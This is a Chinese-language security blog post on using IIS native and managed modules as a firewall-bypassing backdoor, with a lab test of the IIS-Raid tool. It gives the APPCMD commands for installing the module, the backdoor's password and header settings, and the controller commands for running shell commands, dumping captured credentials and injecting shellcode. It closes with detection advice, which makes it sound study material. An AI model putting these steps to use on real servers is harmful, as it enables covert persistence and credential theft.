利用 IIS 的模块功能绕过防火墙

发布于 2025-01-11 16:03:33 字数 7486 浏览 3 评论 0

0x00 前言

Windows 服务器开启了 IIS 服务,防火墙仅允许 80 或 443 端口进行通信,那么如何在不使用 webshell 的前提下,实现对该服务器的远程管理?更进一步,如果只有低权限,有没有办法呢? 本文将介绍以上问题的另一种解决方法:利用 IIS 的模块功能绕过防火墙

0x01 简介

本文将要介绍以下内容:

  • IIS 的模块功能
  • 使用 c++开发模块
  • 使用 c#开发模块
  • IIS-Raid 测试
  • 利用分析
  • 防御检测

0x02 IIS 的模块功能

自 IIS7 开始,开发人员可以通过模块功能(Module) 来扩展 IIS 的功能

参考资料:https://docs.microsoft.com/en-gb/iis/develop/runtime-extensibility/extending-web-server-functionality-in-net

如果我们通过模块功能可以读取 HTTP 请求的内容并控制 HTTP 回复的内容,完全可以利用模块功能实现对服务器的远程管理

IIS 的模块以 DLL 的形式存在,加载后不会存在单独的进程

2018 年,PaloAlto Unit42 发现了 APT34 使用这种方式作为 IIS 后门,将其命名为 RGDoor

本文将复现 RGDoor 的部分功能,着重介绍这种利用方法的检测和识别

0x03 使用 c++开发模块

参考资料:https://docs.microsoft.com/en-gb/iis/develop/runtime-extensibility/develop-a-native-cc-module-for-iis

IIS 7.0 及更高版本允许通过以两种方式开发的模块来扩展服务器:

  • 托管模块(Managed Module),使用托管代码(managed code) 和 ASP.NET 服务器可扩展性 API
  • 本机模块(Native Module),使用本机代码(native code) 和 IIS 本机服务器可扩展性 API

参考资料中介绍了本机模块(Native Module) 的使用方法

需要注意以下问题:

  • 可以使用 Visual Studio 进行开发
  • DLL 需要包含导出函数 RegisterModule
  • 使用 CHttpModule 作为模块类继承的实现
  • 使用 IHttpModuleFactory 接口创建模块实例

1.模块开发

具体的实现代码可以参考 IIS-Raid,地址如下:https://github.com/0x09AL/IIS-Raid

代码细节可参考:https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/

IIS-Raid 在 RegisterModule 函数注册了 RQ_BEGIN_REQUESTRQ_SEND_RESPONSE 两个事件用来处理请求和响应

2.模块注册

可选择以下三种方法:

  1. 使用 APPCMD.EXE 命令行工具
  2. 使用 IIS Administration Tool 进行界面操作
  3. 修改配置文件 applicationHost.config

注:在 0x05 中会演示方法 1 和方法 2

0x04 使用 c#开发模块

参考资料:https://docs.microsoft.com/en-gb/iis/develop/runtime-extensibility/developing-a-module-using-net

IIS 7.0 及更高版本允许通过以两种方式开发的模块来扩展服务器:

  • 托管模块(Managed Module),使用托管代码(managed code) 和 ASP.NET 服务器可扩展性 API
  • 本机模块(Native Module),使用本机代码(native code) 和 IIS 本机服务器可扩展性 API

参考资料中介绍了托管模块(Managed Module) 的使用方法

需要注意以下问题:

  • 可以使用 Visual Studio 进行开发
  • 是一个.NET 类
  • 使用 System.Web.IHttpModule 接口

1.模块开发

具体的实现代码可以参考 IIS_backdoor,地址如下:https://github.com/WBGlIl/IIS_backdoor

代码细节可参考:https://mp.weixin.qq.com/s/z1d3yvp14GWakyonTh_b8A

2.模块注册

可选择以下三种方法:

  1. 使用 APPCMD.EXE 命令行工具
  2. 使用 IIS Administration Tool 进行界面操作
  3. 修改配置文件 web.config

具体的使用方法还可以参考以下资料:

0x05 IIS-Raid 测试

测试系统:Windows Server 2012r2 x64(需要获得管理员权限)

IIS-Raid 地址如下:https://github.com/0x09AL/IIS-Raid

使用 Visual Studio 编译生成 IIS-Backdoor.dll

1.后门安装

可以选择以下两种方法:

(1) 使用 APPCMD.EXE 命令行工具

查看已安装模块的命令如下:

C:\Windows\system32\inetsrv\APPCMD.EXE list module

如下图

Alt text

安装模块的命令如下:

C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:test /image:"c:\test\IIS-Backdoor.dll" /add:true

删除模块的命令如下:

C:\Windows\system32\inetsrv\APPCMD.EXE uninstall module test

(2) 使用 IIS Administration Tool 进行界面操作

运行 inetmgr.exe,进入 IIS 管理器

选择 Modules ,如下图

Alt text

进入后选择 Configure Native Modules... ,接着选择 Register... ,如下图

Alt text

填入 Name 和 Path,如下图

Alt text

添加成功后,在 Modules 页面显示新添加的内容,如下图

Alt text

2.功能测试

IIS-Raid 的配置文件保存在 Functions.h 中,包括以下内容:

#define COM_HEADER "X-Chrome-Variations"
#define PASS_FILE "C:\\Windows\\Temp\\creds.db"
#define PASSWORD "SIMPLEPASS"

COM_HEADER 是用于执行后门与控制器之间的通信的标头名称

PASS_FILE 是使用 dump 命令读取文件的位置

PASSWORD 定义是将用于向后门进行身份验证的密码

(1) 连接后门

命令如下:

python ./iis_controller.py  --url http://192.168.18.138/ --password SIMPLEPASS

如下图

Alt text

(2) 测试功能

执行 cmd 命令:

cmd whoami

测试如下图

Alt text

执行 dump 命令:

dump

默认读取文件 C:\\Windows\\Temp\\creds.db 中的内容

测试如下图 3-3

Alt text

执行 shellcode:

inject shellcode.txt

shellcode.txt 保存 base64 加密后的 shellcode,加载方式为先创建进程 C:\\Windows\\System32\\credwiz.exe ,再进行注入

测试如下图

Alt text

0x06 利用分析

利用 IIS 模块作为后门具有以下特点:

  • 需要先获得 IIS 服务器的管理员权限
  • payload 为 dll 的形式
  • 通过安装模块的方式启动
  • dll 所在的进程为 w3wp.exe

0x07 防御检测

可以通过查看 Modules 的方式检测 IIS 是否被安装后门

具体有以下两种方法:

1.使用 APPCMD.EXE 命令行工具

查看已安装模块的命令如下:

C:\Windows\system32\inetsrv\APPCMD.EXE list module

2.使用 IIS Administration Tool 进行界面操作

运行 inetmgr.exe,进入 IIS 管理器

选择 Modules

另外需要注意的是只有当模块被成功加载后,进程 w3wp.exe 中才能找到模块相关的 dll

0x08 小结

本文对 IIS 的模块功能进行介绍,实现了利用 IIS 的模块功能绕过防火墙,测试开源工具 IIS-Raid,分享防御检测的建议。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

上一篇:

下一篇:

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

熟人话多

暂无简介

文章
评论
24 人气
更多

推荐作者

ˉ厌

文章 0 评论 0

19151006243

文章 0 评论 0

海夕

文章 0 评论 0

丑丑阿

文章 0 评论 0

峩卟喜欢

文章 0 评论 0

惜醉颜

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文